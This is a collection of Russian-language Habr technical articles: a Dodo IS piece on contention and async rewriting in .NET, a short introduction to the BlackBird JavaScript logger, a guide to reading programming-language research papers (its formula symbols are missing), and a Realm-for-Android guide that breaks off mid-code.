> 2. [День, когда Dodo IS остановилась. Асинхронный сценарий.](https://habr.com/ru/company/dodopizzaio/blog/461081/)
>
>
>
> \* *Материалы написаны на основе [моего выступления на DotNext 2018 в Москве](https://www.youtube.com/watch?v=XNuAJmOXgYw&fbclid=IwAR29kXTLGh6kdUhGlIXqze90C7kd8WNKZLVLS6LTJghZ-X9-D1qXjQPzHxM)*.
Dodo IS
-------
Система — большое конкурентное преимущество нашей франшизы, потому что франчайзи получают готовую модель бизнеса. Это ERP, HRM и CRM, всё в одном.
Система появилась через пару месяцев после открытия первой пиццерии. Ей пользуются менеджеры, клиенты, кассиры, повара, тайные покупатели, сотрудники колл-центра — все. Условно Dodo IS делится на две части. Первая — для клиентов. Туда входят сайт, мобильное приложение, контакт-центр. Вторая для партнёров-франчайзи, она помогает управлять пиццериями. Через систему проходят накладные от поставщиков, управление персоналом, вывод людей на смены, автоматический расчёт зарплат, онлайн обучение для персонала, аттестация управляющих, система проверки качества и тайных покупателей.
Производительность системы
--------------------------
Производительность системы Dodo IS = Надёжность = Отказоустойчивость / Восстановление. Остановимся подробнее на каждом из пунктов.
#### Надёжность (Reliability)
У нас нет больших математических расчётов: нам нужно обслуживать определённое количество заказов, есть определённые зоны доставки. Количество клиентов особо не варьируется. Конечно мы обрадуемся, когда оно возрастёт, но это редко происходит большими всплесками. Для нас производительность сводится к тому, насколько мало отказов происходит, к надёжности системы.
#### Отказоустойчивость (Fault Tolerance)
Один компонент может быть зависим от другого компонента. Если в одной системе происходит ошибка, другая подсистема не должна упасть.
#### Восстанавливаемость (Resilience)
Сбои отдельных компонент происходят каждый день. Это нормально. Важно, насколько быстро мы можем восстановиться после сбоя.
Синхронный сценарий отказа системы
----------------------------------
#### Что это?
Инстинкт большого бизнеса — обслуживать много клиентов одновременно. Так же как для кухни пиццерии, работающей на доставку невозможно работать так же, как хозяйка на кухне дома, код разработанный для синхронного исполнения не может успешно работать для массового обслуживания клиентов на сервере.
Есть фундаментальная разница между выполнением алгоритма в единственном экземпляре, и выполнением того же алгоритма сервером в рамках массового обслуживания.
Посмотрите на картинку ниже. Слева видим, как запросы происходят между двумя сервисами. Это RPC-вызовы. Следующий запрос завершается после предыдущего. Очевидно, этот подход не масштабируется — дополнительные заказы выстроятся в очередь.
Чтобы обслуживать много заказов нам нужен правый вариант:
На работу блокирующего кода в синхронном приложении сильно влияет используемая модель многопоточности, а именно — preemptive multitasking. Она сама по себе может приводит к отказам.
Упрощенно, preemptive multitasking можно было бы проиллюстрировать так:
Цветные блоки – реальная работа, которую выполняет CPU, и мы видим, что полезной работы, обозначенной зеленым на диаграмме, довольно мало на общем фоне. Нам нужно пробуждать поток, усыплять его, а это накладные расходы. Такое усыпление/пробуждение происходит при синхронизации на любых синхронизационных примитивах.
Очевидно, эффективность работы CPU уменьшится, если разбавить полезную работу большим количеством синхронизаций. Насколько же сильно preemptive multitasking может повлиять на эффективность?
Рассмотрим результаты синтетического теста:
Если интервал работы потока между синхронизациями около 1000 наносекунд, эффективность довольно мала, даже если количество Threads равно количеству ядер. В этом случае эффективность около 25%. Если же количество Threads в 4 раза больше, эффективность драматически падает, до 0,5%.
Вдумайтесь, в облаке вы заказали виртуальную машину, у которой 72 ядра. Она стоит денег, а вы используете меньше половины одного ядра. Именно это может произойти в многопоточном приложении.
Если задач меньше, но их продолжительность больше, эффективность возрастает. Мы видим, что при 5000 операций в секунду, в обоих случаях эффективность 80-90%. Для многопроцессорной системы это очень хорошо.
В реальных наших приложениях продолжительность одной операции между синхронизациями лежит где-то посредине, поэтому проблема актуальна.
#### Что же происходит?
Обратите внимание на результат нагрузочного тестирования. В данном случае это было так называемое «тестирование на выдавливание».
Суть теста в том, что используя нагрузочный стенд, мы подаём всё больше искусственных запросов в систему, пытаемся оформить как можно больше заказов в минуту. Мы стараемся нащупать предел, после которого приложение откажется обслуживать запросы сверх своих возможностей. Интуитивно мы ожидаем, что система будет работать на пределе, отбрасывая дополнительные запросы. Именно так происходило бы реальной жизни, например — при обслуживании в ресторане, который переполнен клиентами. Но происходит нечто иное. Клиенты сделали больше заказов, а система стала обслуживать меньше. Система стала обслуживать так мало заказов, что это можно считать полным отказом, поломкой. Такое происходит с многими приложениями, но должно ли так быть?
На втором графике время оформления запроса вырастает, за этот интервал обслуживается меньше запросов. Запросы, которые пришли раньше, обслуживаются значительно позже.
Почему приложение останавливается? Был алгоритм, он работал. Мы его запускаем со своей локальной машины, он работает очень быстро. Мы думаем, что если возьмём в сто раз более мощную машину и запустим сто одинаковых запросов, то они должны выполниться за это же время. Оказывается, что запросы от разных клиентов сталкиваются между собой. Между ними возникает Contention и это основополагающая проблема в распределенных приложениях. Отдельные запросы борются за ресурсы.
Пути поиска проблемы
--------------------
Если сервер не работает, первым делом попробуем найти и устранить тривиальные проблемы блокировок внутри приложения, в базе данных и при файловом вводе/выводе. Есть еще целый класс проблем в сетевом взаимодействии, но мы пока ограничимся этими тремя, этого достаточно, чтобы научиться распознавать аналогичные проблемы, и нас прежде всего интересуют проблемы, порождающие Contention — борьбу за ресурсы.
#### In-process locks
Вот типичный запрос в блокирующем приложении.
Это разновидность Sequence Diagram, описывающей алгоритм взаимодействия кода приложения и базы данных в результате какой-то условной операции. Мы видим, что делается сетевой вызов, потом в базе данных что-то происходит — база данных незначительно используется. Потом делается ещё один запрос. На весь период используется транзакция в базе данных и некий ключ, общий для всех запросов. Это может быть два разных клиента или два разных заказа, но один и тот же объект меню ресторана, хранящийся в той же базе данных, что и заказы клиентов. Мы работаем, используя транзакцию для консистенции, у двух запросов происходит Contention на ключе общего объекта.
Посмотрим, как это масштабируется.
Thread спит большую часть времени. Он, по факту, ничего не делает. У нас держится лок, который мешает другим процессам. Самое обидное, что наименее полезная операция в транзакции, которая залочила ключ, происходит в самом начале. Она удлиняет скоуп транзакции во времени.
Мы с этим будем бороться вот так.
```
var fallback = FallbackPolicy
.Handle()
.FallbackAsync(OptionalData.Default);
var optionalDataTask = fallback
.ExecuteAsync(async () => await CalculateOptionalDataAsync());
//…
var required = await CalculateRequiredData();
var optional = await optionalDataTask;
var price = CalculatePriceAsync(optional, required);
```
Это Eventual Consistency. Мы предполагаем, что некоторые данные у нас могут быть менее свежие. Для этого нам нужно по-другому работать с кодом. Мы должны принять, что данные имеют другое качество. Мы не будем смотреть, что произошло раньше — управляющей поменял что-то в меню или клиент нажал кнопку «оформить». Для нас нет разницы, кто из них нажал кнопку на две секунды раньше. И для бизнеса разницы в этом нет.
Раз разницы нет, мы можем сделать вот такую вещь. Условно назовем её optionalData. То есть какое-то значение, без которого мы можем обойтись. У нас есть fallback — значение, которое мы берём из кэша или передаём какое-то значение по умолчанию. И для самой главной операции (переменная required) мы будем делать await. Мы жёстко будем дожидаться его, а уже потом будем ждать ответа на запросы необязательных данных. Это нам позволит ускорить работу. Есть ещё один существенный момент — эта операция вообще может не выполниться по какой-то причине. Предположим — код этой операции не оптимален, и в данный момент там есть баг. Если операция не смогла выполниться, делаем fallback. А дальше мы работаем с этим как с обычным значением.
#### DB Locks
Примерно такой расклад у нас получается, когда мы переписали на async и поменяли модель консистентности.
Здесь важно не то, что запрос стал быстрее по времени. Важно то, что у нас нет Contention. Если мы добавляем запросов, то у нас насыщается только левая сторона картинки.
Это блокирующий запрос. Здесь Threads накладываются друг на друга и ключи, на которых происходит Contention. Справа у нас нет вообще транзакции в базе данных и они спокойно выполняются. Правый случай может работать в таком режиме бесконечно. Левый приведёт к падению сервера.
#### Sync IO
Иногда нам нужны файловые логи. Удивительно, но система логирования может дать такие неприятные сбои. Latency на диске в Azure — 5 миллисекунд. Если мы пишем подряд файл, это всего лишь 200 запросов в секунду. Всё, приложение остановилось.
Просто волосы дыбом встают, когда видишь это — более 2000 Threads расплодилось в приложении. 78% всех Threads — один и тот же call stack. Они остановились на одном и том же месте и пытаются войти в монитор. Этот монитор разграничивает доступ к файлу, куда мы все логируем. Конечно же такое надо выпиливать.
Вот что нужно делать в NLog, чтобы его сконфигурировать. Мы делаем асинхронный target и пишем в него. А асинхронный target пишет в настоящий файл. Конечно какое-то количество сообщений в логе можем потерять, но что важнее для бизнеса? Когда система упала на 10 минут, мы потеряли миллион рублей. Наверное, лучше потерять несколько сообщений в логе сервиса, который ушёл в отказ и перезагрузился.
Всё очень плохо
---------------
Contention — большая проблема многопоточных приложений, которая не позволяет просто масштабировать однопоточное приложение. Источники Contention нужно уметь идентифицировать и устранять. Большое количество Threads губительно для приложений, и блокирующие вызовы нужно переписывать на async.
Мне пришлось переписать немало legacy с блокирующих вызовов на async, я сам частенько выступал инициатором такой модернизации. Довольно часто кто-нибудь подходит и спрашивает: «Слушай, мы уже две недели переписываем, уже почти все async. А на сколько оно станет быстрее работать?» Ребята, я вас расстрою — оно не станет быстрее работать. Оно станет ещё медленнее. Ведь TPL — это одна конкурентная модель поверх другой — cooperative multitasking over preemptive multitasking, и это накладные расходы. В одном из наших проектов — примерно +5% к использованию CPU и нагрузка на GC.
Есть ещё одна плохая новость — приложение может работать значительно хуже после простого переписывания на async, без осознания особенностей конкурентной модели. Об этих особенностях я расскажу очень подробно в следующей статье.
Тут встает вопрос — а надо ли переписывать?
Синхронный код переписывают на async для того, чтобы отвязать модель конкурентного исполнения процесса (Concurrency Model), и отвязаться от модели Preemptive Multitasking. Мы увидели, что количество Threads может отрицательно влиять на производительность, поэтому нужно освободиться от необходимости увеличивать количество Threads для повышения Concurrency. Даже если у нас есть Legacy, и мы не хотим переписывать этот код — это главная причина его переписать.
Хорошая новость напоследок — мы теперь кое-что знаем о том, как избавиться от тривиальных проблем Contention блокирующего кода. Если вы такие проблемы обнаружите в своем блокирующем приложении, то самое время от них избавиться еще до переписывания на async, потому что там они не пропадут сами по себе. | https://habr.com/ru/post/440676/ | null | ru | null |
# Удобный дебаг с BlackBird
Хочу представить вам одну библиотеку для яваскрипта, под названием [BlackBird](http://www.gscottolson.com/blackbirdjs/). Основное ее назначение, избавить разработчика от не нужного дебага при помощи alert(), о чем собственно и говорит слоган «Скажите привет BlackBird и скажите пока alert()» ( Say hello to Blackbird and 'goodbye' to alert() ).
Встроить в библиотеку чрезвычайно просто. Закачайте к себе на хостинг [файлы библиотеки](http://blackbirdjs.googlecode.com/files/blackbirdjs-1.0.zip), и расположите их на хостинге.
Потом, включите в страницу файлы blackbird.js и blackbird.css.
После этого в коде, вместо надоевших alert() можете указывать:
`log.debug( 'this is a debug message' );
log.info( 'this is an info message' );
log.warn( 'this is a warning message' );
log.error( 'this is an error message' );`
Эти сообщения буду появляться в окне (как на картинке в топике), которое по умолчанию будет расположено слева. Основные фичи:
* Возможность фильтровать типы сообщений прямо в окне дебагера.
* Изменение размера окна дебагера, и его размещения.
* Hotkeys.
Работает под:
* Internet Explorer 6+
* Firefox 2+
* Safari 2+
* Opera 9.5
[Демо и домашняя страница](http://www.gscottolson.com/blackbirdjs/) | https://habr.com/ru/post/42534/ | null | ru | null |
# Руководство для практикующего специалиста, как читать научные статьи по языкам программирования
Неделю назад я пошутил, что статьи по принципам языков программирования POPL должны соответствовать критерию «интеллектуального запугивания», чтобы их принимали для публикации. Конечно, это неправда, но факт в том, что статьи по языкам программирования выглядят особенно устрашающе для специалистов-практиков (или академик действительно работает в другой области компьютерных наук!). Они битком набиты математическими символами и такими фразами как «суждения», «операционная семантика» и тому подобное. Там много тонких вариантов записи, но вы можете в основном уловить суть статьи, усвоив несколько базовых понятий. Так что вместо рассказа об очередной научной статье я подумал, что сегодня лучше напишу краткое практическое руководство по расшифровке научных статей на тему языков программирования. Здесь я следую книге Бенджамина Пирса [«Типы в языках программирования»](https://mitpress.mit.edu/books/types-and-programming-languages) в качестве авторитетного источника.
Синтаксис
=========
Начнём с понятного: синтаксис. Синтаксис говорит, какие предложения можно использовать в языке (т. е. какие программы мы можем писать). Синтаксис содержит набор *термов*, которые представляют собой строительные блоки. Возьмём следующий пример из Пирса:
```
t ::=
true
false
if t then t else t
0
succ t
pred t
iszero t
```
Всюду, где встречается символ `t`, можно подставить любой терм. Если в статье упоминаются термы, то часто используется `t` с подстрочным индексом для различия между разными термами (например, , ). Множество всех термов часто обозначается как . Его не следует путать с символом , который традиционно используется для обозначения типов.
В вышеприведённом примере обратите внимание, что сам по себе оператор `if` не является термом (это токен, в данном случае, keyword-токен). Термом является условное выражение `if t then t else t`.
Термы — это выражения, которые можно вычислить, и конечным результатом вычисления в правильно построенном окружении должно стать *значение*. Значения — это подмножество термов. В вышеприведённом примере значениями являются `true`, `false`, `0`, а также значения, которые могут быть созданы путём последовательного применения операции `succ` к `0` (`succ 0, succ succ 0, ...`).
Семантика
=========
Мы хотим придать какое-то значение термам языка. Это *семантика*. Существуют различные способы определить значение программ. Чаще всего вы встретите упоминания *операционной семантики* и *денотационной семантики*. Из них операционная семантика наиболее распространённая. Она определяет значение программы, устанавливая правила для абстрактной машины, которая вычисляет термы. Спецификации имеют форму набора *правил вычисления* — рассмотрим их чуть позже. В этом мировоззрении *значение* (смысл) терма `t` — это конечное состояние (величина), которого достигает машина, запущенная с `t` в её начальном состоянии. В *денотационной семантике* в качестве значения терма принимается некий математический объект (например, число или функция) в некоторой ранее существующей семантической области, а функция интерпретации соотносит термы языка с их эквивалентами в целевой области. Так что мы указываем, что представляет (или денотирует) терм в этой области.
Вы можете также столкнуться с тем, что авторы упоминают операционную семантику с малым шагом (small-step) и операционную семантику с большим шагом (big-step). Как следует из названия, это относится к тому, насколько большой скачок делает абстрактная машина с каждым применяемым правилом. В семантике с малым шагом термы переписываются постепенно, по одному маленькому шагу за раз, пока в конечном итоге не станут значениями. В семантике с большим шагом (она же «естественная семантика») мы можем перейти от терма к его окончательному значению за один шаг.
В записи семантики с малым шагом вы увидите что-нибудь такое: , что следует читать так, что  вычисляется в . (Вместо подстрочных индексов могут использоваться штрихи, например, ). Это также известно как *суждение* (judgement). Стрелка  представляет один шаг вычислений. Если вам встретится , то это значит «после многократного применения одношаговых вычислений  в конечном итоге перешёл в ».
В семантике с большим шагом используется другая стрелка. Так что  означает, что терм  в результате вычисления перешёл в . Если в одном и том же языке используется семантика с малым шагом и семантика с большим шагом, то  и  означают одно и то же.
Согласно конвенции, правила именуются ПРОПИСНЫМИ буквами. И если вам повезёт, то авторы добавят к правилам вычисления префикс ‘E-‘ как дополнительную подсказку.
Например:
if true then t2 else t3  t2 (E-IFTRUE)
Обычно правила вычисления задают в стиле правил вывода (inference rules). Пример (E-IF):
Это следует читать как «С учётом указанного в делителе мы можем сделать вывод о том, что находится в знаменателе». То есть в данном конкретном примере: «Если  выводится в , то в этом случае  выводится в .
Типы
====
В языке программирования не обязательно должна быть определённая система типов (он может быть нетипизированным), но у большинства она есть.
> *«Система типов — это гибко управляемый синтаксический метод доказательства отсутствия в программе определённых видов поведения при помощи классификации выражений языка по разновидностям вычисляемых ими значений» — Пирс, «Типы в языках программирования».*
Двоеточие используется для указания, что данный терм принадлежит определённому типу. Например, . Терм считается корректно типизированным (или типизируемым), если существует такой тип, для которого верно выражение . Как у нас были правила вычисления, так здесь имеются правила типизации. Они тоже часто определяются в стиле правил вывода, а их названия могут начинаться с префикса ‘T-‘. Например (T-IF):
Такое следует читать как «Поскольку терм 1 принадлежит типу Bool, а термы 2 и 3 принадлежат типу T, то терм “if term 1 then term 2 else term 3” будет принадлежать типу T».
В функциях (лямбда-абстракциях) мы тоже следим за типами аргумента и возвращаемого значения. Можно аннотировать связанные переменные, указав их тип, так что вместо простого  можно написать . Тип лямбда-абстракции (для функции с одним аргументом) записывается как . Это означает, что функция принимает аргумент типа  и возвращает результат типа .
В правилах вывода вы увидите знак выводимости — оператор в виде турникета . Значит,  следует читать как «Из P можно вывести Q» или как «P подразумевает Q». Например,  означает «Из того факта, что x принадлежит типу T1, следует, что тип t2 принадлежит типу T2».
Следует отслеживать привязку переменных к *типам* для свободных переменных в функции. Для этого мы используем *контекст типизации* (окружение типизации). Представьте его как знакомое вам окружение, которое транслирует названия переменных в значения, но только здесь мы транслируем названия переменных в типы. Согласно конвенции, для указания контекста типизации используется символ гаммы (). Он часто встречается в научных статьях без объяснений, по конвенции. Я запомнил его значение, представив виселицу, фиксирующую переменные с их типами, свисающими на верёвке. Но у вас может быть и другой способ! Это приводит к часто встречаемому тройственному соотношению в виде . Его следует читать так: «Из контекста типизации  следует, что терм t принадлежит типу T». Оператор в виде запятой расширяет  путём добавления новой привязки справа (например, ).
Объединив это всё, вы получаете правила, которые выглядят как это (в данном случае, для определения типа лямбда-абстракции):
Расшифруем правило: «Если (то, что указано в числителе) из контекста типизации с ограничением x до T1 следует, что t2 принадлежит типу T2, то (часть, указанная в знаменателе) в том же контексте типизации выражение  принадлежит типу ».
Типобезопасность
================
Если бы Джейн Остин писала книгу о системах типов, наверное она бы назвала её «Продвижение и сохранение» (на самом деле я думаю, что можно написать много интересных эссе с таким названием!). Система типов считается «безопасной» (типобезопасной), если правильно типизированные термы никогда не оказываются в тупике в процессе вычисления. На практике это означает, что в цепочке правил вывода мы никогда не застрянем где-то без окончательного значения и в то же время без возможности применить правило для дальнейшего продвижения (вы увидите, что авторы употребляют фразы «застрять» и «оказаться в тупике» — именно это они имеют в виду). Для демонстрации, что правильно типизированные термы никогда не окажутся в тупике, достаточно доказать теоремы продвижения и сохранения.
* *Продвижение*. Правильно типизированный терм не может быть тупиковым (либо это значение, либо он может проделать следующий шаг в соответствии с правилами вычисления).
* *Сохранение*. Если правильно типизированный терм проделывает шаг вычисления, то получающийся терм также правильно типизирован.
Иногда вы увидите, что авторы говорят о продвижении и сохранении, не указывая явно, почему это важно. Теперь вы знаете, почему!
Чёрч, Карри, Говард, Хоар
=========================
Вот ещё пару вещей, которые вам могут встретиться и о которых интересно знать:
* В определении языка по *стилю Карри* сначала мы задаём грамматику термов, затем определяем их поведение, и наконец добавляем систему типов, «отвергающую некоторые термы, поведение которых нам не нравится». Семантика возникает раньше, чем типизация.
* В определении языка по *стилю Чёрча*, типизация идёт прежде семантики, так что мы никогда не задаём вопрос, каково поведение неверно типизированного терма.
* *Соответствие Карри — Говарда* — это соответствие между теорией типов и логикой, в которой логические утверждения рассматриваются как типы в системе типов. (аналогия «утверждения как типы»). Это соответствие можно использовать для переноса результатов из одной области в другую (например, из линейной логикой в систему линейных типов).
* *Логика Хоара* или тройки Хоара относятся к выражениям вида {P}C{Q}. Такое следует читать как «Если предусловие P истинно, то выполняется команда C (и если она завершается), а постусловие Q будет истинным».
На самом деле я просто заинтересованное постороннее лицо, которое наблюдает за тем, что происходит в сообществе. Если вы читаете это в качестве эксперта по языкам программирования, и знаете больше вещей, которые следует включить в шпаргалку практикующего специалиста, пожалуйста, сообщите в комментариях! | https://habr.com/ru/post/348874/ | null | ru | null |
# Реалистичный Realm. 1 год опыта
Realm давно известен в среде мобильных (и не только) разработчиков. К сожалению, в рунете почти нет статей об этой базе данных. Давайте исправим эту ситуацию.
Год назад в build.gradle нашего проекта появилась строчка:
```
classpath "io.realm:realm-gradle-plugin:0.87.5"
```
За этот год код Realm вырос до версии 3.3, обзавелся множеством фич и починил кучу багов, реализовал новый функционал и получил облачный бекенд. Давайте поподробнее поговорим о Realm в реалиях Andoroid разработки и обсудим тонкие моменты, возникающие при его использовании.
**Содержание*** [О нас](https://habrahabr.ru/post/328418/#1)
* [Realm как стартап](https://habrahabr.ru/post/328418/#2)
* [Realm как база данных](https://habrahabr.ru/post/328418/#3)
* [Hello world](https://habrahabr.ru/post/328418/#4)
* [Сравнение с другими базами данных](https://habrahabr.ru/post/328418/#5)
* [Live Objects — Синхронное чтение](https://habrahabr.ru/post/328418/#6)
* [Live Objects — Асинхронное чтение](https://habrahabr.ru/post/328418/#7)
* [Основные особенности Realm объектов](https://habrahabr.ru/post/328418/#8)
* [Транзакции](https://habrahabr.ru/post/328418/#9)
* [Синхронные транзакции](https://habrahabr.ru/post/328418/#10)
* [Асинхронные транзакции](https://habrahabr.ru/post/328418/#11)
* [Open/close realm](https://habrahabr.ru/post/328418/#12)
* [Notifications, RxJava](https://habrahabr.ru/post/328418/#13)
* [Многопоточность и асинхронность](https://habrahabr.ru/post/328418/#14)
* [Тестирование](https://habrahabr.ru/post/328418/#15)
* [Один Realm хорошо, а три лучше](https://habrahabr.ru/post/328418/#16)
* [Наследование и полиморфизм](https://habrahabr.ru/post/328418/#17)
* [Kotlin](https://habrahabr.ru/post/328418/#18)
* [Realm mobile platform](https://habrahabr.ru/post/328418/#19)
* [Отладка](https://habrahabr.ru/post/328418/#20)
* [Архитектура](https://habrahabr.ru/post/328418/#21)
* [Полезные ссылки](https://habrahabr.ru/post/328418/#22)
* [Заключение](https://habrahabr.ru/post/328418/#23)
### О нас
Мы разрабатываем приложение для коммуникации внутри команды, что-то среднее между telegram и slack. Android приложение написано на Kotlin, с самого начала использовался подход offline-first, т.е. когда все данные, отображенные на экране, достаются из кэша. Попробовав несколько разных баз данных, мы остановились на Realm и в течении года активно использовали его. Данная статья выросла из внутреннего документа по использованию Realm. Статья не является переводом документации и не претендует на полноту описания, это скорее сборник рецептов и разбор тонких моментов. Для полного понимания строго рекомендуем прочитать [официальную документацию](https://realm.io/docs/java/latest/). Мы же расскажем о своем опыте и какие шишки набили за этот год. Весь код для статьи написан на Kotlin, найти его вы можете на [Github](https://github.com/andrey7mel/realm_example).
### Realm как стартап
Если говорить о [Realm как о компании](https://www.crunchbase.com/organization/realm-2#/entity), то это датский стартап основанный в 2011 году. Ранее проект назывался tight.db. За время существования привлечено 29M$ инвестиций. Зарабатывать компания планирует на основе [Realm Mobile Platform](https://realm.io/pricing/), сама же база данных бесплатная и опенсорсная. Realm под Android появился в 2014 году и с тех пор постоянно развивается. Некоторые апдейты ломают обратную совместимость, однако фиксы можно сделать достаточно легко и быстро.
### Realm как база данных
Realm — это база данных для нескольких платформ. О себе они пишут:
> The Realm Mobile Platform is a next-generation data layer for applications. Realm is reactive, concurrent, and lightweight, allowing you to work with live, native objects.
Если кратко, то это нативная no-sql база данных для Android (Java, Kotlin), iOS (Objective-C, Swift), Xamarin (C#) и JavaScript (React Native, Node.js).
Так же есть backend, который позволяет синхронизировать данные из всех источников.
Из ключевых особенностей стоит отметить [zero copy](https://ru.wikipedia.org/wiki/Zero-copy), [MVCC](https://ru.wikipedia.org/wiki/MVCC) и [ACID](https://ru.wikipedia.org/wiki/ACID). Встроенного механизма устаревания и очистки данных нет.
У Realm есть [очень хорошая документация](https://realm.io/docs/java/latest/) и множество [примеров на github](https://github.com/realm/realm-java/tree/master/examples).
Сотрудники Realm периодически [мониторят StackOverflow](https://stackoverflow.com/questions/tagged/realm), также можно завести [issue на github](https://github.com/realm/realm-java/issues).
### Hello world
Hello world под Android выглядит следующим образом:
Добавим в build.gradle
```
build.gradle (Project level)
classpath "io.realm:realm-gradle-plugin:3.3.0"
build.gradle (App level)
apply plugin: 'realm-android'
```
В Application настроим Realm Configuration
```
Realm.init(this)
val config = RealmConfiguration.Builder()
.build()
Realm.setDefaultConfiguration(config)
```
И можно начинать работать с базой данных:
```
val realm = Realm.getDefaultInstance()
realm.executeTransaction { realm ->
val dataObject = realm.createObject(DataObject::class.java)
dataObject.name = "A"
dataObject.id = 1
}
val dataObject = realm.where(DataObject::class.java).equalTo("id", 1).findFirst()
dataObject.name // => A
realm.executeTransaction { realm ->
val dataObjectTransaction = realm.where(DataObject::class.java).equalTo("id", 1).findFirst()
dataObjectTransaction.name = "B"
}
dataObject.name // => B
```
### Сравнение с другими базами данных
На хабре есть [статья от 8 апреля 2016 года, где сравниваются 9 ORM под Android](https://habrahabr.ru/post/281226/), в том числе Realm. Realm там в лидерах, вот графики:
**Сравнение с другими ORM**
На своем сайте Realm приводит [следующую статистику](https://realm.io/news/realm-for-android/):
**Графики с сайта Realm**
Можно выделить три главные особенности, которые необходимо учитывать:
Live Objects — Все объекты, полученные из Realm, являются, по сути, прокси к базе данных. За счет этого достигается zero copy (объекты не копируются из базы)
Transactions — Все изменения привязанных объектов данных нужно проводить внутри транзакции
Open\Close — Необходимость открытия\закрытия instance базы данных
### Live Objects
Все объекты из Realm можно получить синхронно или асинхронно.
#### Синхронное чтение
```
fun getFirstObject(realm: Realm, id: Long): DataObject? {
return realm.where(DataObject::class.java).equalTo("id", id).findFirst()
}
```
Вызываем метод Realm и блокируем поток, пока не получим объект или null. Использовать объекты, полученные в других потоках, нельзя, поэтому для использования в главном потоке, нужно блокировать ui или использовать асинхронные запросы. К счастью, Realm предоставляет нам прокси, а не сам объект, поэтому все происходит достаточно быстро. С объектом можно работать сразу после получения.
#### Асинхронное чтение
Весьма неочевидный кейс. Как вы думаете, что произойдет в этом коде:
```
val firstObject = realm.where(DataObject::class.java).findFirstAsync()
log(firstObject.id)
```
Правильный ответ: получим ошибку java.lang.IllegalStateException
При асинхронном чтении мы хоть и получаем объект сразу, но работать с ним не можем, пока он не загрузится. Проверять это нужно с помощью функции isLoaded() или вызвать блокирующую функцию load(). Выглядит достаточно неудобно, поэтому тут лучше использовать rx. Преобразуем в observable и получаем загруженный объект в OnNext. Асинхронные операции доступны только в потоках с Looper.
```
fun getObjectObservable(realm: Realm, id: Long): Observable {
return realm.where(DataObject::class.java).findFirstAsync().asObservable()
}
```
#### Основные особенности Realm объектов
* Получение объектов из базы очень быстрое, десериализации как таковой нет, чтение с диска происходит только при обращении к конкретному полю
* Именно для этого существует требование делать все поля приватными и обращаться через геттеры
* Метод copyFromRealm() — позволяет получать отвязанные, полностью собранные объекты, прямо как обычная ORM. Правда и все фишки Realm становятся недоступны. На вход принимается глубина десериализации, по умолчанию MAX\_INT
* В дебагере все поля будут null. Для получения какого-либо значения нам нужно обращаться через геттер
* Все объекты Live, т.е живые. Изменения распространяются моментально в рамках одного потока. Более сложные кейсы смотрите ниже (многопоточность).
* Фильтрация объектов осуществляется по полям, причем названия полей вы указываете руками в виде строки. Например так: .equalTo(«id», 1). Это усложняет рефакторинг и приводит к ошибкам в наименовании полей для фильтрации. К сожалению Realm не генерирует переменные с названиями полей, поэтому все выборки лучше прятать внутри функции:
```
fun findFirstDataObject(id: Long, realm: Realm) : DataObject
= realm.where(DataObject::class.java).equalTo("id", id).findFirst()
```
или [использовать генератор имен полей от cmelchior](https://github.com/cmelchior/realmfieldnameshelper)
* Этот пункт изменился прямо во время написания статьи (яркий пример того, как развивается проект)
Было: Невозможно использовать DiffUtil при изменении объекта, невозможно понять какие поля у объекта изменились. Т.е. если вам пришла нотификация об изменении объекта, невозможно понять что у него изменилось. Связано это с тем, что оба объекта (старый и новый) являются live объектами и ссылаются на одни и те же данные, они всегда будут равны.
Стало: [Можно использовать RealmObjectChangeListener](https://news.realm.io/news/realm-java-3-1/) для понимания что изменилось:
**RealmObjectChangeListener**
```
Person p = realm.where(Person.class).findFirst();
p.addChangeListener(new RealmObjectChangeListener() {
@Override
public void onChange(Person person, ObjectChangeSet changeSet) {
if (changeSet.isDeleted()) {
hide(); // Object was deleted
} else {
// Use information about which fields changed to only update part of the UI
if (changeSet.isFieldChanged("name")) {
updateName(person.getName());
}
}
}
});
```
* Любой объект доступен только пока открыт instance realm-a, из которого мы его получили. Проверять можно методами isValid. При обращении к невалидному объекту получим исключение
* Объекты доступны только в том потоке, в котором созданы. Обращаться из другого потока нельзя, получим исключение
Аналогично списки (RealmResult) объектов (результаты запроса) являются прокси к Realm, это приводит к следующему:
* Получение списков очень быстрое, по сути мы получаем только count. Все запросы lazy, получить большой список из сложных объектов мы можем очень быстро
* Списки доступны только для чтения, любые методы изменения приводят к исключению
* Т.к. мы можем быстро и дешево получать все элементы, можно забыть о проблеме пагинации. Мы всегда отдаем полный список элементов, при скролле обращаемся к объектам, и они быстро получаются из базы. Если нам нужно подгрузить данные, мы запускаем загрузку, получаем данные, сохраняем их в Realm, снова получаем полный список с загруженными элементами и отображаем его
* До недавнего времени (до версии 3.0) была проблема с перерисовкой всех элементов списка. Если мы используем список для адаптера, то при изменении одного элемента происходит полная перерисовка всего списка. Использовать DiffUtils и сравнивать какие объекты изменились, не получится, т.к. это live объекты. В Realm 3.0 появились OrderedCollectionChangeSet, который сообщает нам DeletionRanges, InsertionRange, ChangeRanges. Стало наконец возможно понять какие объекты и как изменились.
**Пример CollectionChangeListener**
```
private final OrderedRealmCollectionChangeListener> changeListener = new OrderedRealmCollectionChangeListener() {
@Override
public void onChange(RealmResults collection, OrderedCollectionChangeSet changeSet) {
// `null` means the async query returns the first time.
if (changeSet == null) {
notifyDataSetChanged();
return;
}
// For deletions, the adapter has to be notified in reverse order.
OrderedCollectionChangeSet.Range[] deletions = changeSet.getDeletionRanges();
for (int i = deletions.length - 1; i >= 0; i--) {
OrderedCollectionChangeSet.Range range = deletions[i];
notifyItemRangeRemoved(range.startIndex, range.length);
}
OrderedCollectionChangeSet.Range[] insertions = changeSet.getInsertionRanges();
for (OrderedCollectionChangeSet.Range range : insertions) {
notifyItemRangeInserted(range.startIndex, range.length);
}
OrderedCollectionChangeSet.Range[] modifications = changeSet.getChangeRanges();
for (OrderedCollectionChangeSet.Range range : modifications) {
notifyItemRangeChanged(range.startIndex, range.length);
}
}
};
```
### Транзакции
Изменять привязанные к Realm объекты можно только внутри транзакции, при изменении вне транзакции получим ошибку. С одной стороны, не очень удобно, с другой стороны — дисциплинирует и не дает изменять объекты в любой части кода, только в определенном слое (database). Также нужно помнить, что транзакции внутри другой транзакции запрещены.
Как нельзя делать:
```
val user = database.getUser(1)
button.setOnClickListener { user.name = "Test" }
```
Как можно:
```
val user = database.getUser(1)
button.setOnClickListener { database.setUserName(user, "Test") }
```
Транзакции можно производить синхронно и асинхронно. Давайте подробнее рассмотрим каждый из вариантов:
#### Синхронные транзакции:
```
fun syncTransaction() {
Realm.getDefaultInstance().use {
it.executeTransaction {
val dataObject = DataObject()
